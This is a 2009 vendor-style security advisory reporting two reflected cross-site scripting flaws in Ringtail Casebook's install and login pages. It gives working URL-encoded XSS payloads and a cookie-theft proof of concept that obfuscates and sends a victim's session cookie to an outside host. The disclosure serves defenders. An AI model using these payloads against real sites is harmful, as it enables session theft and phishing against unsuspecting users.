Vulnerabilities 2009

PR08-04 Two XSS vulnerabilities on Ringtail Casebook

• Advisory publicly released: Monday, 7 September 2009
• Vulnerability found: Friday, 18 January 2008
• Vendor informed: Tuesday, 22 January 2008
• Severity level: Medium

• Credits
  Richard Brain and Jan Fry of ProCheckUp Ltd (www.procheckup.com)
• Description
  The 'inline' parameter processed by 'riv_install.asp' during the "Ringtail Image Viewer Client" install process is vulnerable to Cross-Site Scripting.
  Additionally, the portal login page also appears to be susceptible to XSS via the 'users' parameter which is processed by the 'login.asp' server-side script.
  
  Examples:
  https://ringtail.targetdomain.foo/casebook6/riv/riv_install.asp?inline='%3C/input%3E/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--
  
  https://ringtail.targetdomain.foo/casebook6/login/login.asp?error=invalid&users=''%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ca
• Proof of concept
  Cookie theft proof-of-concept attack:
  
  https://ringtail.targetdomain.foo/casebook6/login/login.asp?error=invalid&users=''%3E%3Cscript%3Elocation%3d%22%68%74%74%70%3a%2f%2fprocheckup.com%2f%3f%22%2bdocument.cookie%3C%2Fscript%3E%3c
  
  Note: the previous examples were tested on IE7 and FF2.
• How to fix
  
• Consequences
  An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a Ringtail Casebook site. Such code would run within the context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.
  
  Attackers can redirect victim users to third-party sites. Such behaviour can help attackers perform phishing attacks by redirecting the victim to a spoof login page.
• Successfully tested on
  Ringtail Casebook 6.1.1 rp2
• References
  

  ProCheckUp Vulnerabilities
  http://www.procheckup.com/vulnerability_manager

  
  
• Legal
  Copyright 2008 Procheckup Ltd. All rights reserved.
  
  Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.
  
  Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.